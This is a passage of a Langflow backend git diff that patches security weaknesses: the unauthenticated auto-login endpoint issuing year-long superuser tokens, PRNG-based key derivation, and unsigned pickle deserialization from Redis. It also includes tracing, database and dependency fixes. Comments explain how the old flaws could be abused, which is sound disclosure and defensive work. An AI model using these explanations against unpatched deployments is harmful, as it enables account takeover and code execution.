template_data[tweak_name]["value"] = tweak_value["value"] else: - key = "file_path" if field_type == "file" else "value" - template_data[tweak_name][key] = tweak_value - if "load_from_db" in template_data[tweak_name]: - template_data[tweak_name]["load_from_db"] = False + template_data[tweak_name]["value"] = tweak_value + elif isinstance(tweak_value, dict): + for k, v in tweak_value.items(): + k_ = "file_path" if field_type == "file" else k + template_data[tweak_name][k_] = v + # If the user didn't explicitly set load_from_db in the dict, + # we default to False for the override. + if "load_from_db" not in tweak_value and "load_from_db" in template_data[tweak_name]: + template_data[tweak_name]["load_from_db"] = False + else: + key = "file_path" if field_type == "file" else "value" + template_data[tweak_name][key] = tweak_value + if "load_from_db" in template_data[tweak_name]: + template_data[tweak_name]["load_from_db"] = False def apply_tweaks_on_vertex(vertex: Vertex, node_tweaks: dict[str, Any]) -> None: diff --git a/src/backend/base/langflow/services/auth/constants.py b/src/backend/base/langflow/services/auth/constants.py index 21d6d5638a..761022008f 100644 --- a/src/backend/base/langflow/services/auth/constants.py +++ b/src/backend/base/langflow/services/auth/constants.py @@ -6,3 +6,8 @@ AUTO_LOGIN_ERROR = ( "Set LANGFLOW_SKIP_AUTH_AUTO_LOGIN=true to skip this check. " "Please update your authentication method." ) +AUTO_LOGIN_SESSION_WARNING = ( + "LANGFLOW_AUTO_LOGIN is enabled: /auto_login is issuing a superuser session " + "without credentials. Disable AUTO_LOGIN and create a real superuser for any " + "non-local or shared deployment." +) diff --git a/src/backend/base/langflow/services/auth/service.py b/src/backend/base/langflow/services/auth/service.py index 9cf891a53b..8be1e76bc3 100644 --- a/src/backend/base/langflow/services/auth/service.py +++ b/src/backend/base/langflow/services/auth/service.py @@ -16,7 +16,7 @@ from lfx.services.auth.base import BaseAuthService from sqlalchemy.exc import IntegrityError from langflow.helpers.user import get_user_by_flow_id_or_endpoint_name -from langflow.services.auth.constants import AUTO_LOGIN_ERROR, AUTO_LOGIN_WARNING +from langflow.services.auth.constants import AUTO_LOGIN_ERROR, AUTO_LOGIN_SESSION_WARNING, AUTO_LOGIN_WARNING from langflow.services.auth.context import ( AUTH_METHOD_AUTO_LOGIN, AUTH_METHOD_EXTERNAL, @@ -805,19 +805,18 @@ class AuthService(BaseAuthService): if not super_user: raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Super user hasn't been created") - access_token_expires_longterm = timedelta(days=365) - access_token = self.create_token( - data={"sub": str(super_user.id), "type": "access"}, - expires_delta=access_token_expires_longterm, - ) - await update_user_last_login_at(super_user.id, db) - - return super_user.id, { - "access_token": access_token, - "refresh_token": None, - "token_type": "bearer", - } + # Security (GHSA-fjgc-vj2f-77hm): AUTO_LOGIN defaults on, so an + # unauthenticated GET /api/v1/auto_login reaches this code. It previously + # minted a 365-day superuser access token (with no refresh token) — i.e. + # a year-long superuser bearer token handed out without credentials. + # Issue normally-scoped tokens instead: a short-lived access token plus a + # refresh token (see create_user_tokens). The auto-login session stays + # seamless via refresh, but a leaked token is now bounded by + # ACCESS_TOKEN_EXPIRE_SECONDS instead of a year. + logger.warning(AUTO_LOGIN_SESSION_WARNING) + tokens = await self.create_user_tokens(user_id=super_user.id, db=db, update_last_login=True) + return super_user.id, tokens def create_user_api_key(self, user_id: UUID) -> dict: access_token = self.create_token( diff --git a/src/backend/base/langflow/services/auth/utils.py b/src/backend/base/langflow/services/auth/utils.py index 32426480b1..1475b45177 100644 --- a/src/backend/base/langflow/services/auth/utils.py +++ b/src/backend/base/langflow/services/auth/utils.py @@ -1,7 +1,7 @@ from __future__ import annotations import base64 -import random +import hashlib from typing import TYPE_CHECKING, Annotated, Final from cryptography.fernet import Fernet @@ -399,14 +399,25 @@ def add_base64_padding(value: str) -> str: def ensure_fernet_key(secret_key: str) -> bytes: """Derive a valid Fernet key from a secret key string. - For short keys (< 32 chars), uses the key as a random seed to generate - a deterministic 32-byte key. For longer keys, adds base64 padding. + For short keys (< 32 chars), the 32-byte key is derived with SHA-256, a + cryptographic hash. For longer keys, base64 padding is added. + + Security note: short keys previously seeded Python's ``random`` module + (``random.seed(secret_key)``) to generate the key bytes. ``random`` is a + non-cryptographic Mersenne-Twister PRNG, so the resulting Fernet key was + fully predictable from the secret, and seeding it also mutated global PRNG + state. SHA-256 is deterministic (so the key stays stable for a given + secret) but is not predictable/reversible the way the PRNG output was. + + Deployments that set a ``SECRET_KEY`` shorter than 32 characters will derive + a different key than before this fix and must re-enter encrypted secrets + (API keys, global variables) after upgrading. The default ``SECRET_KEY`` is + a 43-char ``secrets.token_urlsafe(32)`` value and is unaffected. """ MINIMUM_KEY_LENGTH = 32 # noqa: N806 if len(secret_key) < MINIMUM_KEY_LENGTH: - random.seed(secret_key) - key = bytes(random.getrandbits(8) for _ in range(32)) - key = base64.urlsafe_b64encode(key) + digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes + key = base64.urlsafe_b64encode(digest) else: key = add_base64_padding(secret_key).encode() return key diff --git a/src/backend/base/langflow/services/cache/service.py b/src/backend/base/langflow/services/cache/service.py index c0240b970d..dfe9aeab0b 100644 --- a/src/backend/base/langflow/services/cache/service.py +++ b/src/backend/base/langflow/services/cache/service.py @@ -1,5 +1,7 @@ import asyncio import atexit +import hashlib +import hmac import os import pickle import tempfile @@ -232,6 +234,9 @@ class RedisCache(ExternalAsyncBaseCacheService, Generic[LockType]): KEY_PREFIX = "langflow:cache:" + # Size of the HMAC-SHA256 tag prepended to every stored payload. + _HMAC_DIGEST_SIZE = hashlib.sha256().digest_size + def __init__(self, host="localhost", port=6379, db=0, url=None, expiration_time=60 * 60) -> None: """Initialize a new RedisCache instance. @@ -252,11 +257,45 @@ class RedisCache(ExternalAsyncBaseCacheService, Generic[LockType]): else: self._client = StrictRedis(host=host, port=port, db=db) self.expiration_time = expiration_time + self._signing_key: bytes | None = None def _key(self, key) -> str: """Return the namespaced Redis key.""" return f"{self.KEY_PREFIX}{key}" + def _get_signing_key(self) -> bytes: + """Derive the HMAC key for cache payload integrity from the server secret. + + Bound to the same ``SECRET_KEY`` used elsewhere, so no extra config is + required. Cached after first use (the secret does not change at runtime). + """ + if self._signing_key is None: + from langflow.services.deps import get_settings_service + + secret = get_settings_service().auth_settings.SECRET_KEY.get_secret_value() + self._signing_key = hashlib.sha256(b"langflow-redis-cache-hmac:" + secret.encode()).digest() + return self._signing_key + + def _integrity_tag(self, namespaced_key: str, payload: bytes) -> bytes: + """Compute the HMAC-SHA256 tag binding ``payload`` to ``namespaced_key``. + + The Redis key is mixed in as associated authenticated data so a tag is + only valid for the exact key the payload was written under. Without this + binding, a payload signed for one key verifies under any other key, + letting anyone with write access to the ``langflow:cache:`` namespace + relocate/replay a validly-signed entry across keys (cross-key + substitution → type confusion / stale-value injection) without ever + knowing the secret. The key is length-prefixed so the (key, payload) + framing is unambiguous and bytes cannot be shifted across the boundary + while keeping a valid tag. + """ + mac = hmac.new(self._get_signing_key(), digestmod=hashlib.sha256) + key_bytes = namespaced_key.encode("utf-8") + mac.update(len(key_bytes).to_bytes(8, "big")) + mac.update(key_bytes) + mac.update(payload) + return mac.digest() + async def is_connected(self) -> bool: """Check if the Redis client is connected.""" import redis @@ -273,20 +312,58 @@ class RedisCache(ExternalAsyncBaseCacheService, Generic[LockType]): async def get(self, key, lock=None): if key is None: return CACHE_MISS - value = await self._client.get(self._key(key)) - return dill.loads(value) if value else CACHE_MISS + namespaced_key = self._key(key) + value = await self._client.get(namespaced_key) + if not value: + return CACHE_MISS + # Integrity check before deserializing. The Redis datastore is an + # untrusted boundary (a co-tenant on a shared Redis, an exposed/un-ACL'd + # port, or anyone able to write under the langflow:cache: namespace could + # plant a payload). dill.loads() executes embedded reduce gadgets, so we + # only deserialize bytes carrying a valid HMAC produced with the server + # secret. Unsigned/tampered/legacy entries are treated as a miss and are + # never passed to dill.loads (CWE-502). + if len(value) < self._HMAC_DIGEST_SIZE: + return CACHE_MISS + tag, payload = value[: self._HMAC_DIGEST_SIZE], value[self._HMAC_DIGEST_SIZE :] + expected = self._integrity_tag(namespaced_key, payload) + if not hmac.compare_digest(tag, expected): + await logger.awarning("RedisCache: discarding cache entry with an invalid integrity tag") + return CACHE_MISS + return dill.loads(payload) @override async def set(self, key, value, lock=None) -> None: + # Serialize first, in isolation from the network write. Live objects built during + # a flow run -- LLM clients holding an ``ssl.SSLContext``, httpx clients, thread + # locks, dynamically-created pydantic models -- are inherently unpicklable, and + # dill signals this with a variety of exception types (a bare ``TypeError`` for an + # SSLContext, ``AttributeError`` for dynamic classes, ``RecursionError`` for deep + # graphs, etc.) -- not only ``pickle.PicklingError``. Failing to serialize must not + # crash the caller (e.g. the vertex build); skip the cache write instead, which + # just means the value is recomputed on the next access. See issue #13764. try: - if pickled := dill.dumps(value, recurse=True): - result = await self._client.setex(self._key(key), self.expiration_time, pickled) - if not result: - msg = "RedisCache could not set the value." - raise ValueError(msg) - except pickle.PicklingError as exc: - msg = "RedisCache only accepts values that can be pickled. " - raise TypeError(msg) from exc + pickled = dill.dumps(value, recurse=True) + except Exception as exc: # noqa: BLE001 + await logger.awarning( + f"RedisCache skipping cache for key '{key}': value is not serializable ({type(exc).__name__}: {exc})." + ) + # Drop any previously-cached value for this key. ``upsert`` does + # get -> merge -> set, so leaving an older entry in place would let a + # later get() serve stale data instead of recomputing. (DEL of a + # missing key is a harmless no-op.) + await self._client.delete(self._key(key)) + return + if pickled: + # Prefix an HMAC tag so get() can reject tampered/forged payloads + # before deserialization (see get()). The tag is bound to the + # namespaced key so it cannot be replayed under a different key. + namespaced_key = self._key(key) + tag = self._integrity_tag(namespaced_key, pickled) + result = await self._client.setex(namespaced_key, self.expiration_time, tag + pickled) + if not result: + msg = "RedisCache could not set the value." + raise ValueError(msg) @override async def upsert(self, key, value, lock=None) -> None: diff --git a/src/backend/base/langflow/services/database/service.py b/src/backend/base/langflow/services/database/service.py index 2c4ff5d3c2..dc2a961cb5 100644 --- a/src/backend/base/langflow/services/database/service.py +++ b/src/backend/base/langflow/services/database/service.py @@ -19,7 +19,7 @@ from lfx.log.logger import logger from lfx.services.deps import session_scope from sqlalchemy import event, inspect from sqlalchemy.dialects import sqlite as dialect_sqlite -from sqlalchemy.engine import Engine +from sqlalchemy.engine import Engine, make_url from sqlalchemy.exc import OperationalError from sqlalchemy.ext.asyncio import AsyncEngine, async_sessionmaker, create_async_engine from sqlmodel import SQLModel, select, text @@ -193,6 +193,65 @@ def check_postgresql_version_sync(database_url: str) -> None: engine.dispose() +def get_sqlite_database_file_path(database_url: str) -> Path | None: + """Return the on-disk file path for a SQLite URL, or ``None`` when there is none. + + Returns ``None`` for non-SQLite URLs and for in-memory SQLite databases + (``sqlite://`` and ``sqlite:///:memory:``), which have no file on disk. The + returned path is kept exactly as written in the URL (relative paths are *not* + resolved) so callers can report it back to the user verbatim. + """ + if not database_url.startswith("sqlite"): + return None + try: + database = make_url(database_url).database + except Exception: # noqa: BLE001 - defensive: malformed URLs are handled elsewhere + return None + if not database or database == ":memory:": + return None + return Path(database) + + +def check_sqlite_database_path(database_url: str) -> None: + """Fail fast with an actionable message when a SQLite database cannot be opened. + + SQLite does not create intermediate directories, and relative paths in + ``LANGFLOW_DATABASE_URL`` are resolved by SQLAlchemy against the current + working directory at connect time. When the resolved parent directory is + missing the raw ``sqlite3.OperationalError`` ("unable to open database file") + is opaque, so surface where Langflow actually tried to open the database and + how a relative path was resolved. No-op for non-SQLite and in-memory URLs. + + Note: this only improves diagnostics; it does not change which URLs are + accepted nor create any directories. See issue #13634. + """ + db_path = get_sqlite_database_file_path(database_url) + if db_path is None: + return + + resolved = db_path.resolve() + logger.debug(f"Using SQLite database at {resolved}") + + parent = resolved.parent + if parent.exists(): + return + + msg = ( + f"Cannot open the SQLite database at '{resolved}': the parent directory " + f"'{parent}' does not exist, and SQLite does not create intermediate " + f"directories. " + ) + if db_path.is_absolute(): + msg += "Create the directory before starting Langflow, or point LANGFLOW_DATABASE_URL at an existing path." + else: + msg += ( + f"The relative path '{db_path}' from LANGFLOW_DATABASE_URL was resolved against the current working " + f"directory ('{Path.cwd()}'). Set LANGFLOW_DATABASE_URL to an absolute path " + f"(e.g. 'sqlite:///{resolved}'), or create the directory before starting Langflow." + ) + raise ValueError(msg) + + class DatabaseService(Service): name = "database_service" @@ -240,14 +299,32 @@ class DatabaseService(Service): elif Path(alembic_log_file).is_absolute(): self.alembic_log_path = Path(alembic_log_file) else: - self.alembic_log_path = Path(langflow_dir) / alembic_log_file + # Resolve relative log paths against the writable runtime config + # directory, not the installed package directory. The package dir is + # read-only in hardened deployments (non-root containers, read-only + # root filesystems, Kubernetes), where writing into it raises OSError + # and crashes startup. config_dir is always writable (it defaults to + # platformdirs' user cache dir and is created on startup). + config_dir = getattr(self.settings_service.settings, "config_dir", None) + base_dir = Path(config_dir) if config_dir else langflow_dir + self.alembic_log_path = base_dir / alembic_log_file async def initialize_alembic_log_file(self): - if self.alembic_log_to_stdout: + log_path = self.alembic_log_path + if self.alembic_log_to_stdout or log_path is None: return - # Ensure the directory and file for the alembic log file exists - await anyio.Path(self.alembic_log_path.parent).mkdir(parents=True, exist_ok=True) - await anyio.Path(self.alembic_log_path).touch(exist_ok=True) + # Ensure the directory and file for the alembic log file exists. The + # migration log is diagnostic-only, so a read-only filesystem (hardened + # containers / Kubernetes) must never abort startup: warn and move on. + try: + await anyio.Path(log_path.parent).mkdir(parents=True, exist_ok=True) + await anyio.Path(log_path).touch(exist_ok=True) + except OSError as exc: + await logger.awarning( + f"Could not initialize the Alembic migration log at '{log_path}' ({exc}). " + "Migration output falls back to stdout. Set LANGFLOW_ALEMBIC_LOG_FILE to a writable path " + "or LANGFLOW_ALEMBIC_LOG_TO_STDOUT=true to silence this warning." + ) def reload_engine(self) -> None: self._sanitize_database_url() @@ -518,6 +595,33 @@ class DatabaseService(Service): # alembic_cfg.attributes["connection"].commit() command.upgrade(alembic_cfg, "head") + def _open_alembic_log_buffer(self): + """Open the Alembic migration log for writing, falling back to stdout. + + The migration log is diagnostic-only output. If the target path cannot + be written -- e.g. the installed package directory or the root + filesystem is read-only, as in hardened container/Kubernetes deployments + (non-root user or read-only root filesystem) -- startup must not abort. + Fall back to stdout rather than letting OSError propagate through the + FastAPI lifespan. Returns a context manager yielding the buffer Alembic + writes its output to. + """ + log_path = self.alembic_log_path + if self.alembic_log_to_stdout or log_path is None: + return nullcontext(sys.stdout) + try: + # _run_migrations can run before initialize_alembic_log_file(), so + # make sure the parent directory exists before opening for writing. + log_path.parent.mkdir(parents=True, exist_ok=True) + return log_path.open("w", encoding="utf-8") + except OSError as exc: + logger.warning( + f"Could not open the Alembic migration log at '{log_path}' ({exc}). " + "Falling back to stdout. Set LANGFLOW_ALEMBIC_LOG_FILE to a writable path " + "or LANGFLOW_ALEMBIC_LOG_TO_STDOUT=true to silence this warning." + ) + return nullcontext(sys.stdout) + def _run_migrations(self, should_initialize_alembic, fix) -> None: # First we need to check if alembic has been initialized # If not, we need to initialize it @@ -528,9 +632,7 @@ class DatabaseService(Service): # which is a buffer # I don't want to output anything # subprocess.DEVNULL is an int - buffer_context = ( - nullcontext(sys.stdout) if self.alembic_log_to_stdout else self.alembic_log_path.open("w", encoding="utf-8") # type: ignore[union-attr] - ) + buffer_context = self._open_alembic_log_buffer() # The advisory lock serialises concurrent migration runs across workers # so they do not race on CREATE TYPE / CREATE TABLE against a fresh PG. with _postgres_migration_lock(self.database_url), buffer_context as buffer: diff --git a/src/backend/base/langflow/services/database/utils.py b/src/backend/base/langflow/services/database/utils.py index 9fce80c016..7f4b2435d0 100644 --- a/src/backend/base/langflow/services/database/utils.py +++ b/src/backend/base/langflow/services/database/utils.py @@ -20,6 +20,13 @@ async def initialize_database(*, fix_migration: bool = False) -> None: database_service: DatabaseService = get_db_service() await database_service.ensure_postgresql_version() + # Fail fast with a clear, actionable message when a SQLite path cannot be + # opened (e.g. a relative LANGFLOW_DATABASE_URL whose parent directory does + # not exist), instead of the opaque "Error creating DB and tables" below. + # See issue #13634. + from langflow.services.database.service import check_sqlite_database_path + + check_sqlite_database_path(database_service.database_url) try: if database_service.settings_service.settings.database_connection_retry: await database_service.create_db_and_tables_with_retry() diff --git a/src/backend/base/langflow/services/tracing/langfuse.py b/src/backend/base/langflow/services/tracing/langfuse.py index 7b5904777e..9e233eb176 100644 --- a/src/backend/base/langflow/services/tracing/langfuse.py +++ b/src/backend/base/langflow/services/tracing/langfuse.py @@ -3,6 +3,7 @@ from __future__ import annotations import os import threading from collections import OrderedDict +from functools import cache from typing import TYPE_CHECKING, Any from uuid import UUID @@ -162,6 +163,95 @@ def delete_feedback_score(*, message_id: UUID | str) -> None: client.api.score.delete(score_id=feedback_score_id(message_id)) +def _build_otel_parent_span(trace_id: str | None, parent_span_id: str | None): + """Build a non-recording OpenTelemetry span pointing at an existing Langfuse span. + + Mirrors the SDK's private ``Langfuse._create_remote_parent_span`` using only + public values we already hold — the flow ``trace_id`` and the parent span id. + The returned span is suitable for ``opentelemetry.trace.use_span(...)`` so a + subsequently created span nests under it and inherits the same trace id. + + Returns ``None`` when either id is missing or not valid hex (e.g. under unit + tests that use mock span ids) so callers degrade to the SDK's default behavior + instead of raising. + """ + if not trace_id or not parent_span_id: + return None + + from opentelemetry import trace as otel_trace_api + + try: + int_trace_id = int(trace_id, 16) + int_span_id = int(parent_span_id, 16) + except (TypeError, ValueError): + return None + + span_context = otel_trace_api.SpanContext( + trace_id=int_trace_id, + span_id=int_span_id, + is_remote=False, + trace_flags=otel_trace_api.TraceFlags(0x01), # mark span as sampled + ) + return otel_trace_api.NonRecordingSpan(span_context) + + +@cache +def _root_run_reparenting_handler_cls(base_cls: type) -> type: + """Build a langfuse ``CallbackHandler`` subclass that re-parents root LLM runs. + + Why this exists + --------------- + The langfuse v3 LangChain ``CallbackHandler`` only applies its constructor + ``trace_context`` on the chain path (``on_chain_start``). When a model runs as + the *root* LangChain run — e.g. a bare Ollama / chat-model call with no wrapping + chain — the generation path calls ``start_observation`` without that + ``trace_context``. With no active OpenTelemetry span in context, the generation + starts a brand-new root trace, orphaned from the flow trace and therefore + missing ``userId`` / ``sessionId`` and its token-usage metrics. + See https://github.com/langflow-ai/langflow/issues/13429. + + The fix + ------- + For root LLM runs we activate the flow's component (or root) span as the current + OpenTelemetry span while the SDK creates the generation span. The generation then + inherits the flow ``trace_id`` and nests under that span, restoring user/session + attribution. The handler sets ``run_inline = True``, so these callbacks execute + synchronously inside the model invocation and the activation reliably wraps span + creation. Non-root runs (wrapping chain/agent present) are left untouched — the + SDK already nests those correctly under the chain span. + + Cached per ``base_cls`` so repeated callbacks reuse a single class object. + """ + from opentelemetry import trace as otel_trace_api + + class _RootRunReparentingCallbackHandler(base_cls): # type: ignore[misc, valid-type] + def __init__(self, *, otel_parent: Any = None, **kwargs: Any) -> None: + super().__init__(**kwargs) + self._otel_parent = otel_parent + + def _reparent(self, method_name: str, args: tuple, kwargs: dict, parent_run_id: UUID | None): + bound = getattr(super(), method_name) + if parent_run_id is None and self._otel_parent is not None: + # end_on_exit/record_exception False so the parent span is never + # mutated or closed by activating it as the current context. + with otel_trace_api.use_span( + self._otel_parent, + end_on_exit=False, + record_exception=False, + set_status_on_exception=False, + ): + return bound(*args, parent_run_id=parent_run_id, **kwargs) + return bound(*args, parent_run_id=parent_run_id, **kwargs) + + def on_chat_model_start(self, *args: Any, parent_run_id: UUID | None = None, **kwargs: Any) -> Any: + return self._reparent("on_chat_model_start", args, kwargs, parent_run_id) + + def on_llm_start(self, *args: Any, parent_run_id: UUID | None = None, **kwargs: Any) -> Any: + return self._reparent("on_llm_start", args, kwargs, parent_run_id) + + return _RootRunReparentingCallbackHandler + + class LangFuseTracer(BaseTracer): """LangFuse tracer implementation using langfuse v3 API. @@ -375,19 +465,23 @@ class LangFuseTracer(BaseTracer): try: from langfuse.langchain import CallbackHandler - # Get the current span's context for proper nesting - if self.spans: - # Use the most recent span as parent - current_span = next(reversed(self.spans.values())) - # Create callback with parent context - trace_ctx: TraceContext = { - "trace_id": self._trace_context["trace_id"], - "parent_span_id": current_span.id, - } - handler = CallbackHandler(trace_context=trace_ctx) - else: - # Fall back to root trace context - handler = CallbackHandler(trace_context=self._trace_context) + # Nest LangChain work under the most recent open component span when + # there is one, else under the flow root span. Both share the flow + # trace_id, so generations stay attributed to the flow's user/session. + parent_span = next(reversed(self.spans.values())) if self.spans else self._root_span + trace_ctx: TraceContext = { + "trace_id": self._trace_context["trace_id"], + "parent_span_id": parent_span.id, + } + + # ``trace_context`` alone keeps chain/agent runs nested (the SDK honors + # it on the chain path). ``otel_parent`` additionally re-parents *root* + # LLM runs (a bare model with no wrapping chain), which the SDK would + # otherwise emit as an orphan trace with no user/session and detached + # token usage. See https://github.com/langflow-ai/langflow/issues/13429. + otel_parent = _build_otel_parent_span(self._trace_context["trace_id"], parent_span.id) + handler_cls = _root_run_reparenting_handler_cls(CallbackHandler) + handler = handler_cls(trace_context=trace_ctx, otel_parent=otel_parent) except (ImportError, ValueError, TypeError) as e: logger.debug(f"Error creating LangChain callback handler: {e}") diff --git a/src/backend/base/langflow/services/tracing/otel_fastapi_patch.py b/src/backend/base/langflow/services/tracing/otel_fastapi_patch.py new file mode 100644 index 0000000000..e6bd0c126f --- /dev/null +++ b/src/backend/base/langflow/services/tracing/otel_fastapi_patch.py @@ -0,0 +1,83 @@ +"""Compatibility shim for OpenTelemetry FastAPI instrumentation under FastAPI >=0.137. + +FastAPI 0.137 changed ``include_router`` to *lazy* inclusion: instead of eagerly +flattening a sub-router's routes onto the parent, the top-level ``app.routes`` now +contains ``_IncludedRouter`` wrappers. Those wrappers are matchable ``BaseRoute`` +objects but intentionally carry no ``.path`` attribute. + +``opentelemetry-instrumentation-fastapi`` names every request span by walking +``app.routes`` and reading ``route.path`` (see ``_get_route_details``). Its +``Match.FULL`` branch already guards the missing-``path`` case, but the +``Match.PARTIAL`` branch does not -- so a request that only partially matches a +lazily-included route (for example an OPTIONS/CORS preflight against a GET-only +route) raises ``AttributeError`` mid-request and turns into a 500. + +We replace the module-level ``_get_route_details`` helper with a guarded copy. +``_get_default_span_details`` resolves it as a module global on every call, so the +reassignment takes effect without re-instrumenting. The patch is idempotent and a +safe no-op on FastAPI <=0.136 or if the OTel internals ever change shape. +""" + +from lfx.log.logger import logger +from starlette.routing import Match, Route + +_PATCH_FLAG = "_langflow_route_details_patched" + + +def _safe_get_route_details(scope): + """Drop-in replacement for OTel's ``_get_route_details`` that tolerates lazy includes. + + Mirrors the upstream loop but guards the ``Match.PARTIAL`` ``route.path`` access the + same way upstream already guards the ``Match.FULL`` access. When the matched route is + a FastAPI ``_IncludedRouter`` (no ``.path``), it falls back to the include-time prefix + if available, otherwise to the raw request path. + """ + app = scope["app"] + route = None + + for starlette_route in app.routes: + match, _ = ( + Route.matches(starlette_route, scope) + if isinstance(starlette_route, Route) + else starlette_route.matches(scope) + ) + if match == Match.FULL: + try: + route = starlette_route.path + except AttributeError: + route = scope.get("path") + break + if match == Match.PARTIAL: + try: + route = starlette_route.path + except AttributeError: + # FastAPI >=0.137 lazy include: the matched route is an + # `_IncludedRouter` wrapper with no `.path`. Prefer the include + # prefix (e.g. "/api/v1"); fall back to the request path. + include_context = getattr(starlette_route, "include_context", None) + route = getattr(include_context, "prefix", None) or scope.get("path") + return route + + +def patch_otel_fastapi_route_details() -> None: + """Install the guarded ``_get_route_details`` on the OTel FastAPI instrumentation. + + Idempotent. No-op when ``opentelemetry-instrumentation-fastapi`` is absent or when + its internals no longer expose ``_get_route_details``. + """ + try: + from opentelemetry.instrumentation import fastapi as otel_fastapi + except ImportError: + return + + if getattr(otel_fastapi, _PATCH_FLAG, False): + return + if not hasattr(otel_fastapi, "_get_route_details"): + # OTel internals changed; nothing to patch. Leave a breadcrumb so this is + # noticed if FastAPI route spans start failing again. + logger.debug("opentelemetry-instrumentation-fastapi has no _get_route_details; skipping compat patch") + return + + otel_fastapi._get_route_details = _safe_get_route_details + setattr(otel_fastapi, _PATCH_FLAG, True) + logger.debug("Patched opentelemetry-instrumentation-fastapi._get_route_details for FastAPI >=0.137 lazy includes") diff --git a/src/backend/base/pyproject.toml b/src/backend/base/pyproject.toml index c7522238c0..ad2739f20f 100644 --- a/src/backend/base/pyproject.toml +++ b/src/backend/base/pyproject.toml @@ -24,7 +24,7 @@ dependencies = [ "aiofile>=3.9.0,<4.0.0", "uvicorn>=0.30.0,<1.0.0", "gunicorn>=25.3.0,<27.0.0", - "langchain~=1.2.0", + "langchain~=1.3.0", "langchain-community~=0.4.1", "langchain-mongodb>=0.11.0", "langchain-perplexity>=1.0.0,<2.0.0", @@ -58,7 +58,7 @@ dependencies = [ "jq>=1.7.0,<2.0.0; sys_platform != 'win32'", "nest-asyncio>=1.6.0,<2.0.0", "emoji>=2.12.0,<3.0.0", - "cryptography>=46.0.7", + "cryptography>=48.0.1", "asyncer>=0.0.5,<1.0.0", "pyperclip>=1.8.2,<2.0.0", "uncurl>=0.0.11,<1.0.0", @@ -108,7 +108,6 @@ dependencies = [ "pyasn1>=0.6.3,<0.7.0", "langgraph-checkpoint>4.0.0,<5.0.0", "transformers>=5.6.0,<6.0.0", - "OpenDsStar==1.0.26; python_version >= '3.11' and python_version < '3.14' and (sys_platform != 'darwin' or platform_machine != 'x86_64')", ] [tool.uv] @@ -262,6 +261,9 @@ pytube = ["pytube==15.0.0"] # crewai is commented out due to httpx version conflict # crewai = ["crewai>=0.126.0"] smolagents = ["smolagents>=1.8.0"] +opendsstar = [ + "OpenDsStar==1.0.26; python_version >= '3.11' and python_version < '3.14' and (sys_platform != 'darwin' or platform_machine != 'x86_64')", +] # Individual tools beautifulsoup = ["beautifulsoup4==4.12.3"] @@ -344,7 +346,7 @@ spider = ["spider-client>=0.0.27,<1.0.0"] altk = ["agent-lifecycle-toolkit>=0.10.1,<1.0; sys_platform != 'darwin' or platform_machine != 'x86_64'"] # Toolguard Integration -toolguard = ["toolguard>=0.2.16,<1.0.0"] +toolguard = ["toolguard>=0.2.20,<1.0.0"] # Additional LangChain integrations # Excluded on macOS x86_64: transitive torch dependency (via sentence-transformers) has no Intel Mac wheels @@ -450,6 +452,7 @@ complete = [ "langflow-base[pytube]", # "langflow-base[crewai]", # commented out due to httpx version conflict "langflow-base[smolagents]", + "langflow-base[opendsstar]", "langflow-base[beautifulsoup]", "langflow-base[serpapi]", "langflow-base[google-api]", diff --git a/src/backend/tests/integration/components/languagemodels/test_chatollama_integration.py b/src/backend/tests/integration/components/languagemodels/test_chatollama_integration.py index b3faa5c4ca..a389a33c83 100644 --- a/src/backend/tests/integration/components/languagemodels/test_chatollama_integration.py +++ b/src/backend/tests/integration/components/languagemodels/test_chatollama_integration.py @@ -7,6 +7,11 @@ from lfx.schema.dataframe import DataFrame from lfx.schema.message import Message +@pytest.fixture(autouse=True) +def allow_local_ollama(monkeypatch): + monkeypatch.setenv("LANGFLOW_SSRF_ALLOWED_HOSTS", "localhost") + + @pytest.mark.integration class TestChatOllamaIntegration: """Integration tests for ChatOllama structured output flow.""" diff --git a/src/backend/tests/unit/agentic/api/test_check_config_live_models.py b/src/backend/tests/unit/agentic/api/test_check_config_live_models.py new file mode 100644 index 0000000000..5e82716cdb --- /dev/null +++ b/src/backend/tests/unit/agentic/api/test_check_config_live_models.py @@ -0,0 +1,93 @@ +"""check-config must surface live installed models for live providers. + +Reproduced live (2026-06-12, release-1.11.0, Ollama-only setup): +``GET /agentic/check-config`` returns the STATIC Ollama catalog (37 +models headed by ``llama3.3``) while the running Ollama server has only +``gpt-oss:20b``, ``llama3.2:latest`` and ``qwen2.5:1.5b`` installed. The +frontend picker and the backend default both point at models that 404. + +The live fetch boundary (``get_live_models_for_provider``, reached via +``list_installed_tool_calling_models``) is mocked: it requires an +external Ollama server CI cannot reproduce. +""" + +from unittest.mock import AsyncMock, patch +from uuid import uuid4 + +import pytest +from langflow.agentic.api.router import check_assistant_config +from langflow.services.database.models.user.model import User + +ROUTER_MODULE = "langflow.agentic.api.router" +PROVIDER_MODULE = "langflow.agentic.services.provider_service" + +INSTALLED_OLLAMA_MODELS = [ + {"name": "gpt-oss:20b", "tool_calling": True, "model_type": "llm"}, + {"name": "llama3.2:latest", "tool_calling": True, "model_type": "llm"}, + {"name": "qwen2.5:1.5b", "tool_calling": True, "model_type": "llm"}, +] + + +class TestCheckConfigLiveModels: + @pytest.mark.asyncio + async def test_should_list_installed_models_when_ollama_is_the_provider(self): + user = User(id=uuid4(), username="tester") + with ( + patch( + f"{ROUTER_MODULE}.get_enabled_providers_for_user", + new_callable=AsyncMock, + return_value=(["Ollama"], {"Ollama": True}), + ), + patch( + f"{PROVIDER_MODULE}.get_live_models_for_provider", + return_value=INSTALLED_OLLAMA_MODELS, + ), + ): + config = await check_assistant_config(current_user=user, session=AsyncMock()) + + ollama = next(p for p in config["providers"] if p["name"] == "Ollama") + model_names = [m["name"] for m in ollama["models"]] + assert model_names == ["gpt-oss:20b", "llama3.2:latest", "qwen2.5:1.5b"], ( + f"Expected the installed models, got the static catalog: {model_names[:5]}..." + ) + + @pytest.mark.asyncio + async def test_should_default_to_an_installed_model_not_the_catalog_default(self): + user = User(id=uuid4(), username="tester") + with ( + patch( + f"{ROUTER_MODULE}.get_enabled_providers_for_user", + new_callable=AsyncMock, + return_value=(["Ollama"], {"Ollama": True}), + ), + patch( + f"{PROVIDER_MODULE}.get_live_models_for_provider", + return_value=INSTALLED_OLLAMA_MODELS, + ), + ): + config = await check_assistant_config(current_user=user, session=AsyncMock()) + + assert config["default_provider"] == "Ollama" + assert config["default_model"] == "gpt-oss:20b", ( + f"Default must be an installed model, got: {config['default_model']}" + ) + + @pytest.mark.asyncio + async def test_should_keep_static_catalog_when_live_fetch_returns_nothing(self): + user = 